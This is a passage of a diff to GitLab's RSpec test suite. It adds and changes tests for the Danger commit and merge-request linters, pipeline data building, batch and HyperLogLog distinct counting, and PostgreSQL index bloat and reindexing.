+ commit_linter.add_problem(:subject_too_long, described_class.subject_description)
+ end
+
+ it { expect(commit_linter).to be_failed }
+ end
+ end
+
+ describe '#add_problem' do
+ it 'stores messages in #failures' do
+ commit_linter.add_problem(:subject_too_long, '%s')
+
+ expect(commit_linter.problems).to eq({ subject_too_long: described_class.problems_mapping[:subject_too_long] })
+ end
+ end
+
+ shared_examples 'a valid commit' do
+ it 'does not have any problem' do
+ commit_linter.lint_subject
+
+ expect(commit_linter.problems).to be_empty
+ end
+ end
+
+ describe '#lint_subject' do
+ context 'when subject valid' do
+ it_behaves_like 'a valid commit'
+ end
+
+ context 'when subject is too short' do
+ let(:commit_message) { 'A B' }
+
+ it 'adds a problem' do
+ expect(commit_linter).to receive(:add_problem).with(:subject_too_short, described_class.subject_description)
+
+ commit_linter.lint_subject
+ end
+ end
+
+ context 'when subject is too long' do
+ let(:commit_message) { 'A B ' + 'C' * described_class::MAX_LINE_LENGTH }
+
+ it 'adds a problem' do
+ expect(commit_linter).to receive(:add_problem).with(:subject_too_long, described_class.subject_description)
+
+ commit_linter.lint_subject
+ end
+ end
+
+ context 'when subject is a WIP' do
+ let(:final_message) { 'A B C' }
+ # commit message with prefix will be over max length. commit message without prefix will be of maximum size
+ let(:commit_message) { described_class::WIP_PREFIX + final_message + 'D' * (described_class::MAX_LINE_LENGTH - final_message.size) }
+
+ it 'does not have any problems' do
+ commit_linter.lint_subject
+
+ expect(commit_linter.problems).to be_empty
+ end
+ end
+
+ context 'when subject is too short and too long' do
+ let(:commit_message) { 'A ' + 'B' * described_class::MAX_LINE_LENGTH }
+
+ it 'adds a problem' do
+ expect(commit_linter).to receive(:add_problem).with(:subject_too_short, described_class.subject_description)
+ expect(commit_linter).to receive(:add_problem).with(:subject_too_long, described_class.subject_description)
+
+ commit_linter.lint_subject
+ end
+ end
+
+ context 'when subject starts with lowercase' do
+ let(:commit_message) { 'a B C' }
+
+ it 'adds a problem' do
+ expect(commit_linter).to receive(:add_problem).with(:subject_starts_with_lowercase, described_class.subject_description)
+
+ commit_linter.lint_subject
+ end
+ end
+
+ [
+ '[ci skip] A commit message',
+ '[Ci skip] A commit message',
+ '[API] A commit message',
+ 'api: A commit message',
+ 'API: A commit message',
+ 'API: a commit message',
+ 'API: a commit message'
+ ].each do |message|
+ context "when subject is '#{message}'" do
+ let(:commit_message) { message }
+
+ it 'does not add a problem' do
+ expect(commit_linter).not_to receive(:add_problem)
+
+ commit_linter.lint_subject
+ end
+ end
+ end
+
+ [
+ '[ci skip]A commit message',
+ '[Ci skip] A commit message',
+ '[ci skip] a commit message',
+ 'api: a commit message',
+ '! A commit message'
+ ].each do |message|
+ context "when subject is '#{message}'" do
+ let(:commit_message) { message }
+
+ it 'adds a problem' do
+ expect(commit_linter).to receive(:add_problem).with(:subject_starts_with_lowercase, described_class.subject_description)
+
+ commit_linter.lint_subject
+ end
+ end
+ end
+
+ context 'when subject ends with a period' do
+ let(:commit_message) { 'A B C.' }
+
+ it 'adds a problem' do
+ expect(commit_linter).to receive(:add_problem).with(:subject_ends_with_a_period, described_class.subject_description)
+
+ commit_linter.lint_subject
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/danger/commit_linter_spec.rb b/spec/lib/gitlab/danger/commit_linter_spec.rb
index ebfeedba700..d3d86037a53 100644
--- a/spec/lib/gitlab/danger/commit_linter_spec.rb
+++ b/spec/lib/gitlab/danger/commit_linter_spec.rb
@@ -98,28 +98,6 @@ RSpec.describe Gitlab::Danger::CommitLinter do
end
end
- describe '#failed?' do
- context 'with no failures' do
- it { expect(commit_linter).not_to be_failed }
- end
-
- context 'with failures' do
- before do
- commit_linter.add_problem(:details_line_too_long)
- end
-
- it { expect(commit_linter).to be_failed }
- end
- end
-
- describe '#add_problem' do
- it 'stores messages in #failures' do
- commit_linter.add_problem(:details_line_too_long)
-
- expect(commit_linter.problems).to eq({ details_line_too_long: described_class::PROBLEMS[:details_line_too_long] })
- end
- end
-
shared_examples 'a valid commit' do
it 'does not have any problem' do
commit_linter.lint
@@ -129,113 +107,6 @@ RSpec.describe Gitlab::Danger::CommitLinter do
end
describe '#lint' do
- describe 'subject' do
- context 'when subject valid' do
- it_behaves_like 'a valid commit'
- end
-
- context 'when subject is too short' do
- let(:commit_message) { 'A B' }
-
- it 'adds a problem' do
- expect(commit_linter).to receive(:add_problem).with(:subject_too_short, described_class::DEFAULT_SUBJECT_DESCRIPTION)
-
- commit_linter.lint
- end
- end
-
- context 'when subject is too long' do
- let(:commit_message) { 'A B ' + 'C' * described_class::MAX_LINE_LENGTH }
-
- it 'adds a problem' do
- expect(commit_linter).to receive(:add_problem).with(:subject_too_long, described_class::DEFAULT_SUBJECT_DESCRIPTION)
-
- commit_linter.lint
- end
- end
-
- context 'when subject is a WIP' do
- let(:final_message) { 'A B C' }
- # commit message with prefix will be over max length. commit message without prefix will be of maximum size
- let(:commit_message) { described_class::WIP_PREFIX + final_message + 'D' * (described_class::MAX_LINE_LENGTH - final_message.size) }
-
- it 'does not have any problems' do
- commit_linter.lint
-
- expect(commit_linter.problems).to be_empty
- end
- end
-
- context 'when subject is too short and too long' do
- let(:commit_message) { 'A ' + 'B' * described_class::MAX_LINE_LENGTH }
-
- it 'adds a problem' do
- expect(commit_linter).to receive(:add_problem).with(:subject_too_short, described_class::DEFAULT_SUBJECT_DESCRIPTION)
- expect(commit_linter).to receive(:add_problem).with(:subject_too_long, described_class::DEFAULT_SUBJECT_DESCRIPTION)
-
- commit_linter.lint
- end
- end
-
- context 'when subject starts with lowercase' do
- let(:commit_message) { 'a B C' }
-
- it 'adds a problem' do
- expect(commit_linter).to receive(:add_problem).with(:subject_starts_with_lowercase, described_class::DEFAULT_SUBJECT_DESCRIPTION)
-
- commit_linter.lint
- end
- end
-
- [
- '[ci skip] A commit message',
- '[Ci skip] A commit message',
- '[API] A commit message',
- 'api: A commit message',
- 'API: A commit message'
- ].each do |message|
- context "when subject is '#{message}'" do
- let(:commit_message) { message }
-
- it 'does not add a problem' do
- expect(commit_linter).not_to receive(:add_problem)
-
- commit_linter.lint
- end
- end
- end
-
- [
- '[ci skip]A commit message',
- '[Ci skip] A commit message',
- '[ci skip] a commit message',
- 'API: a commit message',
- 'API: a commit message',
- 'api: a commit message',
- '! A commit message'
- ].each do |message|
- context "when subject is '#{message}'" do
- let(:commit_message) { message }
-
- it 'adds a problem' do
- expect(commit_linter).to receive(:add_problem).with(:subject_starts_with_lowercase, described_class::DEFAULT_SUBJECT_DESCRIPTION)
-
- commit_linter.lint
- end
- end
- end
-
- context 'when subject ends with a period' do
- let(:commit_message) { 'A B C.' }
-
- it 'adds a problem' do
- expect(commit_linter).to receive(:add_problem).with(:subject_ends_with_a_period, described_class::DEFAULT_SUBJECT_DESCRIPTION)
-
- commit_linter.lint
- end
- end
- end
-
describe 'separator' do
context 'when separator is missing' do
let(:commit_message) { "A B C\n" }
@@ -300,8 +171,10 @@ RSpec.describe Gitlab::Danger::CommitLinter do
end
end
- context 'when details exceeds the max line length including a URL' do
- let(:commit_message) { "A B C\n\nhttps://gitlab.com" + 'D' * described_class::MAX_LINE_LENGTH }
+ context 'when details exceeds the max line length including URLs' do
+ let(:commit_message) do
+ "A B C\n\nsome message with https://example.com and https://gitlab.com" + 'D' * described_class::MAX_LINE_LENGTH
+ end
it_behaves_like 'a valid commit'
end
diff --git a/spec/lib/gitlab/danger/helper_spec.rb b/spec/lib/gitlab/danger/helper_spec.rb
index f400641706d..a8f113a8cd1 100644
--- a/spec/lib/gitlab/danger/helper_spec.rb
+++ b/spec/lib/gitlab/danger/helper_spec.rb
@@ -33,6 +33,16 @@ RSpec.describe Gitlab::Danger::Helper do
expect(helper.gitlab_helper).to eq(fake_gitlab)
end
end
+
+ context 'when danger gitlab plugin is not available' do
+ it 'returns nil' do
+ invalid_danger = Class.new do
+ include Gitlab::Danger::Helper
+ end.new
+
+ expect(invalid_danger.gitlab_helper).to be_nil
+ end
+ end
end
describe '#release_automation?' do
@@ -591,4 +601,30 @@ RSpec.describe Gitlab::Danger::Helper do
expect(helper.prepare_labels_for_mr([])).to eq('')
end
end
+
+ describe '#has_ci_changes?' do
+ context 'when .gitlab/ci is changed' do
+ it 'returns true' do
+ expect(helper).to receive(:all_changed_files).and_return(%w[migration.rb .gitlab/ci/test.yml])
+
+ expect(helper.has_ci_changes?).to be_truthy
+ end
+ end
+
+ context 'when .gitlab-ci.yml is changed' do
+ it 'returns true' do
+ expect(helper).to receive(:all_changed_files).and_return(%w[migration.rb .gitlab-ci.yml])
+
+ expect(helper.has_ci_changes?).to be_truthy
+ end
+ end
+
+ context 'when neither .gitlab/ci/ or .gitlab-ci.yml is changed' do
+ it 'returns false' do
+ expect(helper).to receive(:all_changed_files).and_return(%w[migration.rb nested/.gitlab-ci.yml])
+
+ expect(helper.has_ci_changes?).to be_falsey
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/danger/merge_request_linter_spec.rb b/spec/lib/gitlab/danger/merge_request_linter_spec.rb
new file mode 100644
index 00000000000..29facc9fdd6
--- /dev/null
+++ b/spec/lib/gitlab/danger/merge_request_linter_spec.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rspec-parameterized'
+require_relative 'danger_spec_helper'
+
+require 'gitlab/danger/merge_request_linter'
+
+RSpec.describe Gitlab::Danger::MergeRequestLinter do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:mr_class) do
+ Struct.new(:message, :sha, :diff_parent)
+ end
+
+ let(:mr_title) { 'A B ' + 'C' }
+ let(:merge_request) { mr_class.new(mr_title, anything, anything) }
+
+ describe '#lint_subject' do
+ subject(:mr_linter) { described_class.new(merge_request) }
+
+ shared_examples 'a valid mr title' do
+ it 'does not have any problem' do
+ mr_linter.lint
+
+ expect(mr_linter.problems).to be_empty
+ end
+ end
+
+ context 'when subject valid' do
+ it_behaves_like 'a valid mr title'
+ end
+
+ context 'when it is too long' do
+ let(:mr_title) { 'A B ' + 'C' * described_class::MAX_LINE_LENGTH }
+
+ it 'adds a problem' do
+ expect(mr_linter).to receive(:add_problem).with(:subject_too_long, described_class.subject_description)
+
+ mr_linter.lint
+ end
+ end
+
+ describe 'using magic mr run options' do
+ where(run_option: described_class.mr_run_options_regex.split('|') +
+ described_class.mr_run_options_regex.split('|').map! { |x| "[#{x}]" })
+
+ with_them do
+ let(:mr_title) { run_option + ' A B ' + 'C' * (described_class::MAX_LINE_LENGTH - 5) }
+
+ it_behaves_like 'a valid mr title'
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/danger/roulette_spec.rb b/spec/lib/gitlab/danger/roulette_spec.rb
index 1a900dfba22..561e108bf31 100644
--- a/spec/lib/gitlab/danger/roulette_spec.rb
+++ b/spec/lib/gitlab/danger/roulette_spec.rb
@@ -165,6 +165,14 @@ RSpec.describe Gitlab::Danger::Roulette do
end
end
+ context 'when change contains many categories' do
+ let(:categories) { [:frontend, :test, :qa, :engineering_productivity, :ci_template, :backend] }
+
+ it 'has a deterministic sorting order' do
+ expect(spins.map(&:category)).to eq categories.sort
+ end
+ end
+
context 'when change contains QA category' do
let(:categories) { [:qa] }
diff --git a/spec/lib/gitlab/data_builder/pipeline_spec.rb b/spec/lib/gitlab/data_builder/pipeline_spec.rb
index 4e0cc8a1fa9..e5dfff33a2a 100644
--- a/spec/lib/gitlab/data_builder/pipeline_spec.rb
+++ b/spec/lib/gitlab/data_builder/pipeline_spec.rb
@@ -21,9 +21,10 @@ RSpec.describe Gitlab::DataBuilder::Pipeline do
let(:data) { described_class.build(pipeline) }
let(:attributes) { data[:object_attributes] }
let(:build_data) { data[:builds].first }
+ let(:runner_data) { build_data[:runner] }
let(:project_data) { data[:project] }
- it 'has correct attributes' do
+ it 'has correct attributes', :aggregate_failures do
expect(attributes).to be_a(Hash)
expect(attributes[:ref]).to eq(pipeline.ref)
expect(attributes[:sha]).to eq(pipeline.sha)
@@ -36,6 +37,7 @@ RSpec.describe Gitlab::DataBuilder::Pipeline do
expect(build_data[:id]).to eq(build.id)
expect(build_data[:status]).to eq(build.status)
expect(build_data[:allow_failure]).to eq(build.allow_failure)
+ expect(runner_data).to eq(nil)
expect(project_data).to eq(project.hook_attrs(backward: false))
expect(data[:merge_request]).to be_nil
expect(data[:user]).to eq({
@@ -46,6 +48,18 @@ RSpec.describe Gitlab::DataBuilder::Pipeline do
})
end
+ context 'build with runner' do
+ let!(:build) { create(:ci_build, pipeline: pipeline, runner: ci_runner) }
+ let(:ci_runner) { create(:ci_runner) }
+
+ it 'has runner attributes', :aggregate_failures do
+ expect(runner_data[:id]).to eq(ci_runner.id)
+ expect(runner_data[:description]).to eq(ci_runner.description)
+ expect(runner_data[:active]).to eq(ci_runner.active)
+ expect(runner_data[:is_shared]).to eq(ci_runner.instance_type?)
+ end
+ end
+
context 'pipeline without variables' do
it 'has empty variables hash' do
expect(attributes[:variables]).to be_a(Array)
diff --git a/spec/lib/gitlab/database/batch_count_spec.rb b/spec/lib/gitlab/database/batch_count_spec.rb
index a1cc759e011..29688b18e94 100644
--- a/spec/lib/gitlab/database/batch_count_spec.rb
+++ b/spec/lib/gitlab/database/batch_count_spec.rb
@@ -130,6 +130,16 @@ RSpec.describe Gitlab::Database::BatchCount do
expect(described_class.batch_count(model, start: model.minimum(:id), finish: model.maximum(:id))).to eq(5)
end
+ it 'stops counting when finish value is reached' do
+ stub_const('Gitlab::Database::BatchCounter::MIN_REQUIRED_BATCH_SIZE', 0)
+
+ expect(described_class.batch_count(model,
+ start: model.minimum(:id),
+ finish: model.maximum(:id) - 1, # Do not count the last record
+ batch_size: model.count - 2 # Ensure there are multiple batches
+ )).to eq(model.count - 1)
+ end
+
it "defaults the batch size to #{Gitlab::Database::BatchCounter::DEFAULT_BATCH_SIZE}" do
min_id = model.minimum(:id)
relation = instance_double(ActiveRecord::Relation)
@@ -242,6 +252,19 @@ RSpec.describe Gitlab::Database::BatchCount do
expect(described_class.batch_distinct_count(model, column, start: model.minimum(column), finish: model.maximum(column))).to eq(2)
end
+ it 'stops counting when finish value is reached' do
+ # Create a new unique author that should not be counted
+ create(:issue)
+
+ stub_const('Gitlab::Database::BatchCounter::MIN_REQUIRED_BATCH_SIZE', 0)
+
+ expect(described_class.batch_distinct_count(model, column,
+ start: User.minimum(:id),
+ finish: User.maximum(:id) - 1, # Do not count the newly created issue
+ batch_size: model.count - 2 # Ensure there are multiple batches
+ )).to eq(2)
+ end
+
it 'counts with User min and max as start and finish' do
expect(described_class.batch_distinct_count(model, column, start: User.minimum(:id), finish: User.maximum(:id))).to eq(2)
end
diff --git a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
index 48132d68031..3e8563376ce 100644
--- a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
@@ -189,7 +189,51 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
end
end
- context "when the model doesn't have an ID column" do
+ context 'when the model specifies a primary_column_name' do
+ let!(:id1) { create(:container_expiration_policy).id }
+ let!(:id2) { create(:container_expiration_policy).id }
+ let!(:id3) { create(:container_expiration_policy).id }
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ before do
+ ContainerExpirationPolicy.class_eval do
+ include EachBatch
+ end
+ end
+
+ it 'returns the final expected delay', :aggregate_failures do
+ Sidekiq::Testing.fake! do
+ final_delay = model.queue_background_migration_jobs_by_range_at_intervals(ContainerExpirationPolicy, 'FooJob', 10.minutes, batch_size: 2, primary_column_name: :project_id)
+
+ expect(final_delay.to_f).to eq(20.minutes.to_f)
+ expect(BackgroundMigrationWorker.jobs[0]['args']).to eq(['FooJob', [id1, id2]])
+ expect(BackgroundMigrationWorker.jobs[0]['at']).to eq(10.minutes.from_now.to_f)
+ expect(BackgroundMigrationWorker.jobs[1]['args']).to eq(['FooJob', [id3, id3]])
+ expect(BackgroundMigrationWorker.jobs[1]['at']).to eq(20.minutes.from_now.to_f)
+ end
+ end
+
+ context "when the primary_column_name is not an integer" do
+ it 'raises error' do
+ expect do
+ model.queue_background_migration_jobs_by_range_at_intervals(ContainerExpirationPolicy, 'FooJob', 10.minutes, primary_column_name: :enabled)
+ end.to raise_error(StandardError, /is not an integer column/)
+ end
+ end
+
+ context "when the primary_column_name does not exist" do
+ it 'raises error' do
+ expect do
+ model.queue_background_migration_jobs_by_range_at_intervals(ContainerExpirationPolicy, 'FooJob', 10.minutes, primary_column_name: :foo)
+ end.to raise_error(StandardError, /does not have an ID column of foo/)
+ end
+ end
+ end
+
+ context "when the model doesn't have an ID or primary_column_name column" do
it 'raises error (for now)' do
expect do
model.queue_background_migration_jobs_by_range_at_intervals(ProjectAuthorization, 'FooJob', 10.seconds)
diff --git a/spec/lib/gitlab/database/postgres_hll/batch_distinct_counter_spec.rb b/spec/lib/gitlab/database/postgres_hll/batch_distinct_counter_spec.rb
new file mode 100644
index 00000000000..934e2274358
--- /dev/null
+++ b/spec/lib/gitlab/database/postgres_hll/batch_distinct_counter_spec.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::PostgresHll::BatchDistinctCounter do
+ let_it_be(:error_rate) { described_class::ERROR_RATE } # HyperLogLog is a probabilistic algorithm, which provides estimated data, with given error margin
+ let_it_be(:fallback) { ::Gitlab::Database::BatchCounter::FALLBACK }
+ let_it_be(:small_batch_size) { calculate_batch_size(described_class::MIN_REQUIRED_BATCH_SIZE) }
+ let(:model) { Issue }
+ let(:column) { :author_id }
+
+ let(:in_transaction) { false }
+
+ let_it_be(:user) { create(:user, email: 'email1@domain.com') }
+ let_it_be(:another_user) { create(:user, email: 'email2@domain.com') }
+
+ def calculate_batch_size(batch_size)
+ zero_offset_modifier = -1
+
+ batch_size + zero_offset_modifier
+ end
+
+ before do
+ allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(in_transaction)
+ end
+
+ context 'different distribution of relation records' do
+ [10, 100, 100_000].each do |spread|
+ context "records are spread within #{spread}" do
+ before do
+ ids = (1..spread).to_a.sample(10)
+ create_list(:issue, 10).each_with_index do |issue, i|
+ issue.id = ids[i]
+ end
+ end
+
+ it 'counts table' do
+ expect(described_class.new(model).estimate_distinct_count).to be_within(error_rate).percent_of(10)
+ end
+ end
+ end
+ end
+
+ context 'unit test for different counting parameters' do
+ before_all do
+ create_list(:issue, 3, author: user)
+ create_list(:issue, 2, author: another_user)
+ end
+
+ describe '#estimate_distinct_count' do
+ it 'counts table' do
+ expect(described_class.new(model).estimate_distinct_count).to be_within(error_rate).percent_of(5)
+ end
+
+ it 'counts with column field' do
+ expect(described_class.new(model, column).estimate_distinct_count).to be_within(error_rate).percent_of(2)
+ end
+
+ it 'counts with :id field' do
+ expect(described_class.new(model, :id).estimate_distinct_count).to be_within(error_rate).percent_of(5)
+ end
+
+ it 'counts with "id" field' do
+ expect(described_class.new(model, "id").estimate_distinct_count).to be_within(error_rate).percent_of(5)
+ end
+
+ it 'counts with table.column field' do
+ expect(described_class.new(model, "#{model.table_name}.#{column}").estimate_distinct_count).to be_within(error_rate).percent_of(2)
+ end
+
+ it 'counts with Arel column' do
+ expect(described_class.new(model, model.arel_table[column]).estimate_distinct_count).to be_within(error_rate).percent_of(2)
+ end
+
+ it 'counts over joined relations' do
+ expect(described_class.new(model.joins(:author), "users.email").estimate_distinct_count).to be_within(error_rate).percent_of(2)
+ end
+
+ it 'counts with :column field with batch_size of 50K' do
+ expect(described_class.new(model, column).estimate_distinct_count(batch_size: 50_000)).to be_within(error_rate).percent_of(2)
+ end
+
+ it 'will not count table with a batch size less than allowed' do
+ expect(described_class.new(model, column).estimate_distinct_count(batch_size: small_batch_size)).to eq(fallback)
+ end
+
+ it 'counts with different number of batches and aggregates total result' do
+ stub_const('Gitlab::Database::PostgresHll::BatchDistinctCounter::MIN_REQUIRED_BATCH_SIZE', 0)
+
+ [1, 2, 4, 5, 6].each { |i| expect(described_class.new(model).estimate_distinct_count(batch_size: i)).to be_within(error_rate).percent_of(5) }
+ end
+
+ it 'counts with a start and finish' do
+ expect(described_class.new(model, column).estimate_distinct_count(start: model.minimum(:id), finish: model.maximum(:id))).to be_within(error_rate).percent_of(2)
+ end
+
+ it "defaults the batch size to #{Gitlab::Database::PostgresHll::BatchDistinctCounter::DEFAULT_BATCH_SIZE}" do
+ min_id = model.minimum(:id)
+ batch_end_id = min_id + calculate_batch_size(Gitlab::Database::PostgresHll::BatchDistinctCounter::DEFAULT_BATCH_SIZE)
+
+ expect(model).to receive(:where).with("id" => min_id..batch_end_id).and_call_original
+
+ described_class.new(model).estimate_distinct_count
+ end
+
+ context 'when a transaction is open' do
+ let(:in_transaction) { true }
+
+ it 'raises an error' do
+ expect { described_class.new(model, column).estimate_distinct_count }.to raise_error('BatchCount can not be run inside a transaction')
+ end
+ end
+
+ context 'disallowed configurations' do
+ let(:default_batch_size) { Gitlab::Database::PostgresHll::BatchDistinctCounter::DEFAULT_BATCH_SIZE }
+
+ it 'returns fallback if start is bigger than finish' do
+ expect(described_class.new(model, column).estimate_distinct_count(start: 1, finish: 0)).to eq(fallback)
+ end
+
+ it 'returns fallback if data volume exceeds upper limit' do
+ large_finish = Gitlab::Database::PostgresHll::BatchDistinctCounter::MAX_DATA_VOLUME + 1
+ expect(described_class.new(model, column).estimate_distinct_count(start: 1, finish: large_finish)).to eq(fallback)
+ end
+
+ it 'returns fallback if batch size is less than min required' do
+ expect(described_class.new(model, column).estimate_distinct_count(batch_size: small_batch_size)).to eq(fallback)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/postgres_index_bloat_estimate_spec.rb b/spec/lib/gitlab/database/postgres_index_bloat_estimate_spec.rb
new file mode 100644
index 00000000000..da4422bd442
--- /dev/null
+++ b/spec/lib/gitlab/database/postgres_index_bloat_estimate_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::PostgresIndexBloatEstimate do
+ before do
+ ActiveRecord::Base.connection.execute(<<~SQL)
+ ANALYZE schema_migrations
+ SQL
+ end
+
+ subject { described_class.find(identifier) }
+
+ let(:identifier) { 'public.schema_migrations_pkey' }
+
+ describe '#bloat_size' do
+ it 'returns the bloat size in bytes' do
+ # We cannot reach much more about the bloat size estimate here
+ expect(subject.bloat_size).to be >= 0
+ end
+ end
+
+ describe '#bloat_size_bytes' do
+ it 'is an alias of #bloat_size' do
+ expect(subject.bloat_size_bytes).to eq(subject.bloat_size)
+ end
+ end
+
+ describe '#index' do
+ it 'belongs to a PostgresIndex' do
+ expect(subject.index.identifier).to eq(identifier)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/postgres_index_spec.rb b/spec/lib/gitlab/database/postgres_index_spec.rb
index d65b638f7bc..2fda9b85c5a 100644
--- a/spec/lib/gitlab/database/postgres_index_spec.rb
+++ b/spec/lib/gitlab/database/postgres_index_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe Gitlab::Database::PostgresIndex do
expect(described_class.regular).to all(have_attributes(unique: false))
end
- it 'only non partitioned indexes ' do
+ it 'only non partitioned indexes' do
expect(described_class.regular).to all(have_attributes(partitioned: false))
end
@@ -46,9 +46,24 @@ RSpec.describe Gitlab::Database::PostgresIndex do
end
end
- describe '.random_few' do
- it 'limits to two records by default' do
- expect(described_class.random_few(2).size).to eq(2)
+ describe '#bloat_size' do
+ subject { build(:postgres_index, bloat_estimate: bloat_estimate) }
+
+ let(:bloat_estimate) { build(:postgres_index_bloat_estimate) }
+ let(:bloat_size) { double }
+
+ it 'returns the bloat size from the estimate' do
+ expect(bloat_estimate).to receive(:bloat_size).and_return(bloat_size)
+
+ expect(subject.bloat_size).to eq(bloat_size)
+ end
+
+ context 'without a bloat estimate available' do
+ let(:bloat_estimate) { nil }
+
+ it 'returns 0' do
+ expect(subject.bloat_size).to eq(0)
+ end
end
end
diff --git a/spec/lib/gitlab/database/postgresql_adapter/empty_query_ping_spec.rb b/spec/lib/gitlab/database/postgresql_adapter/empty_query_ping_spec.rb
new file mode 100644
index 00000000000..6e1e53e0e41
--- /dev/null
+++ b/spec/lib/gitlab/database/postgresql_adapter/empty_query_ping_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::PostgresqlAdapter::EmptyQueryPing do
+ describe '#active?' do
+ let(:adapter_class) do
+ Class.new do
+ include Gitlab::Database::PostgresqlAdapter::EmptyQueryPing
+
+ def initialize(connection, lock)
+ @connection = connection
+ @lock = lock
+ end
+ end
+ end
+
+ subject { adapter_class.new(connection, lock).active? }
+
+ let(:connection) { double(query: nil) }
+ let(:lock) { double }
+
+ before do
+ allow(lock).to receive(:synchronize).and_yield
+ end
+
+ it 'uses an empty query to check liveness' do
+ expect(connection).to receive(:query).with(';')
+
+ subject
+ end
+
+ it 'returns true if no error was signaled' do
+ expect(subject).to be_truthy
+ end
+
+ it 'returns false when an error occurs' do
+ expect(lock).to receive(:synchronize).and_raise(PG::Error)
+
+ expect(subject).to be_falsey
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb b/spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb
index 2d6765aac2e..51fc7c6620b 100644
--- a/spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/concurrent_reindex_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Gitlab::Database::Reindexing::ConcurrentReindex, '#perform' do
let(:table_name) { '_test_reindex_table' }
let(:column_name) { '_test_column' }
let(:index_name) { '_test_reindex_index' }
- let(:index) { instance_double(Gitlab::Database::PostgresIndex, indexrelid: 42, name: index_name, schema: 'public', partitioned?: false, unique?: false, exclusion?: false, definition: 'CREATE INDEX _test_reindex_index ON public._test_reindex_table USING btree (_test_column)') }
+ let(:index) { instance_double(Gitlab::Database::PostgresIndex, indexrelid: 42, name: index_name, schema: 'public', tablename: table_name, partitioned?: false, unique?: false, exclusion?: false, expression?: false, definition: 'CREATE INDEX _test_reindex_index ON public._test_reindex_table USING btree (_test_column)') }
let(:logger) { double('logger', debug: nil, info: nil, error: nil ) }
let(:connection) { ActiveRecord::Base.connection }
@@ -130,6 +130,36 @@ RSpec.describe Gitlab::Database::Reindexing::ConcurrentReindex, '#perform' do
check_index_exists
end
+ context 'for expression indexes' do
+ before do
+ allow(index).to receive(:expression?).and_return(true)
+ end
+
+ it 'rebuilds table statistics before dropping the original index' do
+ expect(connection).to receive(:execute).with('SET statement_timeout TO \'21600s\'').twice
+
+ expect_to_execute_concurrently_in_order(create_index)
+
+ expect_to_execute_concurrently_in_order(<<~SQL)
+ ANALYZE "#{index.schema}"."#{index.tablename}"
+ SQL
+
+ expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
+ expect(instance).to receive(:run).with(raise_on_exhaustion: true).and_yield
+ end
+
+ expect_index_rename(index.name, replaced_name)
+ expect_index_rename(replacement_name, index.name)
+ expect_index_rename(replaced_name, replacement_name)
+
+ expect_to_execute_concurrently_in_order(drop_index)
+
+ subject.perform
+
+ check_index_exists
+ end
+ end
+
context 'when a dangling index is left from a previous run' do
before do
connection.execute("CREATE INDEX #{replacement_name} ON #{table_name} (#{column_name})")
diff --git a/spec/lib/gitlab/database/reindexing/index_selection_spec.rb b/spec/lib/gitlab/database/reindexing/index_selection_spec.rb
new file mode 100644
index 00000000000..a5e2f368f40
--- /dev/null
+++ b/spec/lib/gitlab/database/reindexing/index_selection_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Reindexing::IndexSelection do
+ include DatabaseHelpers
+
+ subject { described_class.new(Gitlab::Database::PostgresIndex.all).to_a }
+
+ before do
+ swapout_view_for_table(:postgres_index_bloat_estimates)
+ swapout_view_for_table(:postgres_indexes)
+ end
+
+ def execute(sql)
+ ActiveRecord::Base.connection.execute(sql)
+ end
+
+ it 'orders by highest bloat first' do
+ create_list(:postgres_index, 10).each_with_index do |index, i|
+ create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 1.megabyte * i)
+ end
+
+ expected = Gitlab::Database::PostgresIndexBloatEstimate.order(bloat_size_bytes: :desc).map(&:index)
+
+ expect(subject).to eq(expected)
+ end
+
+ context 'with time frozen' do
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ it 'does not return indexes with reindex action in the last 7 days' do
+ not_recently_reindexed = create_list(:postgres_index, 2).each_with_index do |index, i|
+ create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 1.megabyte * i)
+ create(:reindex_action, index: index, action_end: Time.zone.now - 7.days - 1.minute)
+ end
+
+ create_list(:postgres_index, 2).each_with_index do |index, i|
+ create(:postgres_index_bloat_estimate, index: index, bloat_size_bytes: 1.megabyte * i)
+ create(:reindex_action, index: index, action_end: Time.zone.now)
+ end
+
+ expected = Gitlab::Database::PostgresIndexBloatEstimate.where(identifier: not_recently_reindexed.map(&:identifier)).map(&:index).map(&:identifier).sort
+
+ expect(subject.map(&:identifier).sort).to eq(expected)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/reindexing/reindex_action_spec.rb b/spec/lib/gitlab/database/reindexing/reindex_action_spec.rb
index efb5b8463a1..225f23d2135 100644
--- a/spec/lib/gitlab/database/reindexing/reindex_action_spec.rb
+++ b/spec/lib/gitlab/database/reindexing/reindex_action_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
